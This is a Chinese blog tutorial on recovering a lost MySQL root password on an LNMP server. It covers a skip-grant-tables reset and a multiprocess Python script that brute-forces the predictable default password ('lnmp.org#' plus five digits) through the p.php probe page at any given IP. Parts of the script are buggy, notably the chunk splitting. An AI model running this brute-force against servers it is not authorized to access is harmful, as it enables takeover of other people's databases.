博客使用的是lnmp程序搭建的web环境,但是在需要使用mysql的时候发现lnmp安装日志文件不见了,mysql的root密码已经忘记,记得当时安装lnmp是一路回车的,而lnmp默认密码是lnmp.org#加上5个随机数字,只有十万可能,而这种情况下穷举十万次必定能够找到密码,因此找回lnmp默认的数据库root密码的方式可以有两种:

  1. 关闭mysql服务使用安全模式登陆并修改root密码
  2. 使用requests和multiprocessing多线程暴力穷举破解

关闭mysql服务使用安全模式登陆并修改root密码

这是通用的mysql服务器重置root密码的方式,就是需要关闭服务器一段时间,可能会造成服务不可用,对于大型站点会造成数据库服务不可用,对于流量低的站点就无所谓了。

关闭mysql服务并以安全模式启动mysql

直接上命令


service mysql stop #or systemctl stop mysql.service

mysqld_safe --skip-grant-tables &


无密码直接登陆mysql修改root密码

mysql

修改mysql.user表达到修改root密码的目的


UPDATE mysql.user SET Password=PASSWORD('新密码') WHERE User='root';

重启mysql服务


service mysql restart # or systemctl restart mysql.service

就可以用新的root密码登陆了

使用requests和multiprocessing多线程暴力穷举默认探针文件破解

生成lnmp所有可能的密码

主要步骤,生成lnmp默认配置所有可能密码的数字部分,一共100000中可能的密码,打乱顺序


import random

generate_pass_list():
    ran = list(range(1,100000))
    random.shuffle(ran)
    return ran


查看请求并写破解函数

当然本地其实也可以直接使用bash调用mysql 也是可以的,这里为了熟悉python的网络模块requests和多线程模块,就使用python解决一切问题。

首先浏览器打开探针页面,随便用密码登陆并使用chrome的网络查看功能查看请求 可以看到post的数据是 inspect_network

生成post数据格式,直接写成python里的dic字典格式

"host":"localhost","port":"3306","login":"root","password":“root”,"act":"MySQL检测"

给定数字list自动开始破解ip下的探针密码


global url 
url = "http://127.0.0.1/p.php"
def brute_php(listc):
    for i in listc:
        passw = "lnmp.org#"+str(i).zfill(5)
        try:
            text = requests.post(url,data={"host":"localhost","port":"3306","login":"root","password":passw,"act":"MySQL检测"}).text
            if u"连接到MySql数据库正常" in text:
                print("congratulations:lnmp.org#{}".format(i))
                
                sys.exit(0)
        except:
            print("{}\n".format(i))
        

使用multiprocessing多线程模式

multiprocessing使用可参考multiprocessing官方手册,这里说明主要部分: 1. 首先使用multiprocessing.Pool生成指定线程数对象 2. 然后在使用map给定需要运行的函数和给定的参数就可以了,这里把十万个的密码按线程数切割,每个线程的参数放进args数组中 3. 最后使用map运行多线程版本的脚本。

看下面代码直接使用到自己的脚本中。

def multiprocess_brute_lnmp():
  #  url = "http://{}/p.php".format(url)
    
    ran = generate_pass_list()
    n_process = min(20, multiprocessing.cpu_count())
    p = multiprocessing.Pool(processes=n_process)
    len_indexs = len(ran)//n_process
    args = []
    args.append(ran[:len_indexs])
    for i in range(1,n_process-1):
        args.append(ran[(i-1)*len_indexs:i* len_indexs])
    args.append(ran[(n_process-1)*len_indexs:])


    for _ in p.map(brute_php, args):
        pass

生成最终python脚本

综合上面个方面生成直接可以破解默认lnmp安装的数据库的root密码脚本


import requests
import multiprocessing
import random
import sys
import os.path

def generate_pass_list():
    if len(sys.argv)>2:
        return open(sys.argv[2]).read().split()
    if not os.path.isfile("lnmp_pass.txt"):
        ran = list(range(1,100000))
        random.shuffle(ran)
        with open('lnmp_pass.txt','w') as fw:
            for i in ran:
                fw.write(str(i)+"\n")
        return ran
    else:
        return open("lnmp_pass.txt").read().split()
def brute_php(listc):
    c = 0
    for i in listc:
        passw = "lnmp.org#"+str(i).zfill(5)
        try:
            text = requests.post(url,data={"host":"localhost","port":"3306","login":"root","password":passw,"act":"MySQL检测"}).text
            if u"连接到MySql数据库正常" in text:
                print("congratulations:lnmp.org#{}".format(i))
                fw.write("password find :{}\n".format(passw))
                sys.exit(0)
        except:
            fw.write("{}\n".format(i))
        c += 1
def multiprocess_brute_lnmp():
  #  url = "http://{}/p.php".format(url)
    
    ran = generate_pass_list()
    n_process = min(20, multiprocessing.cpu_count())
    p = multiprocessing.Pool(processes=n_process)
    len_indexs = len(ran)//n_process
    args = []
    args.append(ran[:len_indexs])
    for i in range(1,n_process-1):
        args.append(ran[(i-1)*len_indexs:i* len_indexs])
    args.append(ran[(n_process-1)*len_indexs:])


    for _ in p.map(brute_php, args):
        pass
        
def help():
    help = '''
    合理使用该脚本
    格式:python name.py 127.0.0.1   
       or  python name.py 127.0.0.1 number_list.txt
       
       
    第一个参数ip地址,第二个参数数字list的文本文件,一行一个数字
    '''
    print(help)
if __name__ == '__main__':
    if len(sys.argv) == 1:
        print(help())
        sys.exit(0)
    global url
    
    url = "http://{}/p.php".format(sys.argv[1])
    with open("{}.log".format(sys.argv[-1]),'w') as fw:
        multiprocess_brute_lnmp()

你用说明第一个参数指定ip,第二个参数数字list的文本文件,一行一个数字

运行脚本通过网络请求post本地p.php探针最终获取到默认的lnmp的mysql root密码 multi_mysql_success

总结

本文主要是通过重置mysql的root密码的机会熟悉并使用python中的multiprocessing多线程模块和requets模块的post功能,并最终完成可以多线程在线破解lnmp环境中本地的mysql默认密码。